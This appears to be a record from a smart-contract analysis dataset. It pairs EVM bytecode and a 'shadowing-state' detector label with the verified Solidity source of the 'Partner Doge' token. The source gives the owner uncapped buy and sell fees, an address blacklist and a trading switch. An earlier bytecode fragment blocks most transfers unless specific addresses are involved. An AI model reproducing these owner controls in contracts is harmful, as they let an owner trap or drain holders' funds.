59281900390910190a3505050565b600a546009548491849184916001600160a01b039081166101009092041614801561072257506009546001600160a01b0384811661010090920416145b1561089157600a80546001600160a01b0319166001600160a01b038481169190911790915586166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b0385166107c95760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b61080684604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546108359085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3610ad8565b6009546001600160a01b038481166101009092041614806108bf5750600a546001600160a01b038481169116145b806108dc57506009546001600160a01b0383811661010090920416145b15610926576001600160a01b0386166107845760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b600a546001600160a01b038481169116148061094f5750600b546001600160a01b038381169116145b61098a5760405162461bcd60e51b8152600401808060200182810382526026815260200180610ddc6026913960400191505060405180910390fd5b6001600160a01b0386166109cf5760405162461bcd60e51b8152600401808060200182810382526025815260200180610e4b6025913960400191505060405180910390fd5b6001600160a01b038516610a145760405162461bcd60e51b8152600401808060200182810382526023815260200180610d756023913960400191505060405180910390fd5b610a5184604051806060016040528060268152602001610ddc602691396001600160a01b0389166000908152600260205260409020549190610ae0565b6001600160a01b038088166000908152600260205260408082209390935590871681522054610a809085610cd1565b6001600160a01b0380871660008181526002602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35b505050505050565b60008184841115610b6f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b34578181015183820152602001610b1c565b50505050905090810190601f168015610b615780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b610b7f6105f5565b6001546001600160a01b03908116911614610be1576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038216610c265760405162461bcd60e51b8152600401808060200182810382526021815260200180610e2a6021913960400191505060405180910390fd5b610c6381604051806060016040528060228152602001610d98602291396001600160a01b0385166000908152600260205260409020549190610ae0565b6001600160a01b038316600090815260026020526040902055600654610c899082610d32565b6006556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b600082820183811015610d2b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000610d2b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ae056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220db9948e1456889d0ec587b7b2877fac02143f9edcde3c324faca8291cac5d1a964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
3,062
0x4530ad931acc4a73dd7eca2ceb801f78570b8fb1
/** *Submitted for verification at Etherscan.io on 2022-04-02 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Partnerdoge is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Partner Doge"; string private constant _symbol = "Partner Doge"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 15; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 15; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x007A4Cad9E12E29Ef7E376BC65067313304FE498); address payable private _marketingAddress = payable(0x007A4Cad9E12E29Ef7E376BC65067313304FE498); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3450000000000000000000 * 10**9; uint256 public _maxWalletSize = 3450000000000000000000 * 10**9; uint256 public _swapTokensAtAmount = 6900000000000000000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address botwallet) external onlyOwner { bots[botwallet] = true; } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeFromFee(address account, bool excluded) public onlyOwner { _isExcludedFromFee[account] = excluded; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101f25760003560e01c80637f2feddc1161010d578063a9059cbb116100a0578063d4a3883f1161006f578063d4a3883f1461058f578063dd62ed3e146105af578063df8408fe146105f5578063ea1644d514610615578063f2fde38b1461063557600080fd5b8063a9059cbb1461050a578063bfd792841461052a578063c3c8cd801461055a578063c492f0461461056f57600080fd5b80638f9a55c0116100dc5780638f9a55c0146104b457806395d89b41146101fe57806398a5c315146104ca578063a2a957bb146104ea57600080fd5b80637f2feddc146104295780638ba4cc3c146104565780638da5cb5b146104765780638f70ccf71461049457600080fd5b806363c6f9121161018557806370a082311161015457806370a08231146103be578063715018a6146103de57806374010ece146103f35780637d1db4a51461041357600080fd5b806363c6f912146103475780636b999053146103695780636d8aa8f8146103895780636fc3eaec146103a957600080fd5b806323b872dd116101c157806323b872dd146102d55780632fd689e3146102f5578063313ce5671461030b57806349bd5a5e1461032757600080fd5b806306fdde03146101fe578063095ea7b3146102425780631694505e1461027257806318160ddd146102aa57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50604080518082018252600c81526b506172746e657220446f676560a01b602082015290516102399190611afc565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611b66565b610655565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b506d0366e7064422fd842023400000005b604051908152602001610239565b3480156102e157600080fd5b506102626102f0366004611b92565b61066c565b34801561030157600080fd5b506102c760185481565b34801561031757600080fd5b5060405160098152602001610239565b34801561033357600080fd5b50601554610292906001600160a01b031681565b34801561035357600080fd5b50610367610362366004611bd3565b6106d5565b005b34801561037557600080fd5b50610367610384366004611bd3565b61072c565b34801561039557600080fd5b506103676103a4366004611c05565b610777565b3480156103b557600080fd5b506103676107bf565b3480156103ca57600080fd5b506102c76103d9366004611bd3565b61080a565b3480156103ea57600080fd5b5061036761082c565b3480156103ff57600080fd5b5061036761040e366004611c20565b6108a0565b34801561041f57600080fd5b506102c760165481565b34801561043557600080fd5b506102c7610444366004611bd3565b60116020526000908152604090205481565b34801561046257600080fd5b50610367610471366004611b66565b6108cf565b34801561048257600080fd5b506000546001600160a01b0316610292565b3480156104a057600080fd5b506103676104af366004611c05565b61092e565b3480156104c057600080fd5b506102c760175481565b3480156104d657600080fd5b506103676104e5366004611c20565b610976565b3480156104f657600080fd5b50610367610505366004611c39565b6109a5565b34801561051657600080fd5b50610262610525366004611b66565b6109e3565b34801561053657600080fd5b50610262610545366004611bd3565b60106020526000908152604090205460ff1681565b34801561056657600080fd5b506103676109f0565b34801561057b57600080fd5b5061036761058a366004611cb7565b610a44565b34801561059b57600080fd5b506103676105aa366004611d0b565b610ae5565b3480156105bb57600080fd5b506102c76105ca366004611d77565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561060157600080fd5b50610367610610366004611db0565b610bd8565b34801561062157600080fd5b50610367610630366004611c20565b610c2d565b34801561064157600080fd5b50610367610650366004611bd3565b610c5c565b6000610662338484610d46565b5060015b92915050565b6000610679848484610e6a565b6106cb84336106c685604051806060016040528060288152602001611f60602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113a6565b610d46565b5060019392505050565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016106ff90611de5565b60405180910390fd5b6001600160a01b03166000908152601060205260409020805460ff19166001179055565b6000546001600160a01b031633146107565760405162461bcd60e51b81526004016106ff90611de5565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a15760405162461bcd60e51b81526004016106ff90611de5565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107f457506013546001600160a01b0316336001600160a01b0316145b6107fd57600080fd5b47610807816113e0565b50565b6001600160a01b0381166000908152600260205260408120546106669061141a565b6000546001600160a01b031633146108565760405162461bcd60e51b81526004016106ff90611de5565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ca5760405162461bcd60e51b81526004016106ff90611de5565b601655565b6000546001600160a01b031633146108f95760405162461bcd60e51b81526004016106ff90611de5565b61090161149e565b610919338361091484633b9aca00611e30565b610e6a565b61092a600e54600c55600f54600d55565b5050565b6000546001600160a01b031633146109585760405162461bcd60e51b81526004016106ff90611de5565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109a05760405162461bcd60e51b81526004016106ff90611de5565b601855565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016106ff90611de5565b600893909355600a91909155600955600b55565b6000610662338484610e6a565b6012546001600160a01b0316336001600160a01b03161480610a2557506013546001600160a01b0316336001600160a01b0316145b610a2e57600080fd5b6000610a393061080a565b9050610807816114cc565b6000546001600160a01b03163314610a6e5760405162461bcd60e51b81526004016106ff90611de5565b60005b82811015610adf578160056000868685818110610a9057610a90611e4f565b9050602002016020810190610aa59190611bd3565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ad781611e65565b915050610a71565b50505050565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b81526004016106ff90611de5565b6000838214610b605760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e67746800000000000000000060448201526064016106ff565b83811015610bd157610bbf858583818110610b7d57610b7d611e4f565b9050602002016020810190610b929190611bd3565b848484818110610ba457610ba4611e4f565b90506020020135633b9aca00610bba9190611e30565b611655565b610bca600182611e80565b9050610b60565b5050505050565b6000546001600160a01b03163314610c025760405162461bcd60e51b81526004016106ff90611de5565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610c575760405162461bcd60e51b81526004016106ff90611de5565b601755565b6000546001600160a01b03163314610c865760405162461bcd60e51b81526004016106ff90611de5565b6001600160a01b038116610ceb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106ff565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610da85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106ff565b6001600160a01b038216610e095760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106ff565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ece5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106ff565b6001600160a01b038216610f305760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106ff565b60008111610f925760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106ff565b6000546001600160a01b03848116911614801590610fbe57506000546001600160a01b03838116911614155b1561129f57601554600160a01b900460ff16611057576000546001600160a01b038481169116146110575760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016106ff565b6016548111156110a95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106ff565b6001600160a01b03831660009081526010602052604090205460ff161580156110eb57506001600160a01b03821660009081526010602052604090205460ff16155b6111435760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016106ff565b6015546001600160a01b038381169116146111c857601754816111658461080a565b61116f9190611e80565b106111c85760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106ff565b60006111d33061080a565b6018546016549192508210159082106111ec5760165491505b8080156112035750601554600160a81b900460ff16155b801561121d57506015546001600160a01b03868116911614155b80156112325750601554600160b01b900460ff165b801561125757506001600160a01b03851660009081526005602052604090205460ff16155b801561127c57506001600160a01b03841660009081526005602052604090205460ff16155b1561129c5761128a826114cc565b47801561129a5761129a476113e0565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112e157506001600160a01b03831660009081526005602052604090205460ff165b8061131357506015546001600160a01b0385811691161480159061131357506015546001600160a01b03848116911614155b156113205750600061139a565b6015546001600160a01b03858116911614801561134b57506014546001600160a01b03848116911614155b1561135d57600854600c55600954600d555b6015546001600160a01b03848116911614801561138857506014546001600160a01b03858116911614155b1561139a57600a54600c55600b54600d555b610adf84848484611668565b600081848411156113ca5760405162461bcd60e51b81526004016106ff9190611afc565b5060006113d78486611e98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092a573d6000803e3d6000fd5b60006006548211156114815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106ff565b600061148b611696565b905061149783826116b9565b9392505050565b600c541580156114ae5750600d54155b156114b557565b600c8054600e55600d8054600f5560009182905555565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061151457611514611e4f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561156857600080fd5b505afa15801561157c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a09190611eaf565b816001815181106115b3576115b3611e4f565b6001600160a01b0392831660209182029290920101526014546115d99130911684610d46565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611612908590600090869030904290600401611ecc565b600060405180830381600087803b15801561162c57600080fd5b505af1158015611640573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b61165d61149e565b610919338383610e6a565b806116755761167561149e565b6116808484846116fb565b80610adf57610adf600e54600c55600f54600d55565b60008060006116a36117f2565b90925090506116b282826116b9565b9250505090565b600061149783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061183e565b60008060008060008061170d8761186c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061173f90876118c9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461176e908661190b565b6001600160a01b0389166000908152600260205260409020556117908161196a565b61179a84836119b4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117df91815260200190565b60405180910390a3505050505050505050565b60065460009081906d0366e7064422fd8420234000000061181382826116b9565b821015611835575050600654926d0366e7064422fd8420234000000092509050565b90939092509050565b6000818361185f5760405162461bcd60e51b81526004016106ff9190611afc565b5060006113d78486611f3d565b60008060008060008060008060006118898a600c54600d546119d8565b9250925092506000611899611696565b905060008060006118ac8e878787611a2d565b919e509c509a509598509396509194505050505091939550919395565b600061149783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113a6565b6000806119188385611e80565b9050838110156114975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106ff565b6000611974611696565b905060006119828383611a7d565b3060009081526002602052604090205490915061199f908261190b565b30600090815260026020526040902055505050565b6006546119c190836118c9565b6006556007546119d1908261190b565b6007555050565b60008080806119f260646119ec8989611a7d565b906116b9565b90506000611a0560646119ec8a89611a7d565b90506000611a1d82611a178b866118c9565b906118c9565b9992985090965090945050505050565b6000808080611a3c8886611a7d565b90506000611a4a8887611a7d565b90506000611a588888611a7d565b90506000611a6a82611a1786866118c9565b939b939a50919850919650505050505050565b600082611a8c57506000610666565b6000611a988385611e30565b905082611aa58583611f3d565b146114975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106ff565b600060208083528351808285015260005b81811015611b2957858101830151858201604001528201611b0d565b81811115611b3b576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461080757600080fd5b60008060408385031215611b7957600080fd5b8235611b8481611b51565b946020939093013593505050565b600080600060608486031215611ba757600080fd5b8335611bb281611b51565b92506020840135611bc281611b51565b929592945050506040919091013590565b600060208284031215611be557600080fd5b813561149781611b51565b80358015158114611c0057600080fd5b919050565b600060208284031215611c1757600080fd5b61149782611bf0565b600060208284031215611c3257600080fd5b5035919050565b60008060008060808587031215611c4f57600080fd5b5050823594602084013594506040840135936060013592509050565b60008083601f840112611c7d57600080fd5b50813567ffffffffffffffff811115611c9557600080fd5b6020830191508360208260051b8501011115611cb057600080fd5b9250929050565b600080600060408486031215611ccc57600080fd5b833567ffffffffffffffff811115611ce357600080fd5b611cef86828701611c6b565b9094509250611d02905060208501611bf0565b90509250925092565b60008060008060408587031215611d2157600080fd5b843567ffffffffffffffff80821115611d3957600080fd5b611d4588838901611c6b565b90965094506020870135915080821115611d5e57600080fd5b50611d6b87828801611c6b565b95989497509550505050565b60008060408385031215611d8a57600080fd5b8235611d9581611b51565b91506020830135611da581611b51565b809150509250929050565b60008060408385031215611dc357600080fd5b8235611dce81611b51565b9150611ddc60208401611bf0565b90509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b6000816000190483118215151615611e4a57611e4a611e1a565b500290565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611e7957611e79611e1a565b5060010190565b60008219821115611e9357611e93611e1a565b500190565b600082821015611eaa57611eaa611e1a565b500390565b600060208284031215611ec157600080fd5b815161149781611b51565b600060a082018783526020878185015260a0604085015281875180845260c0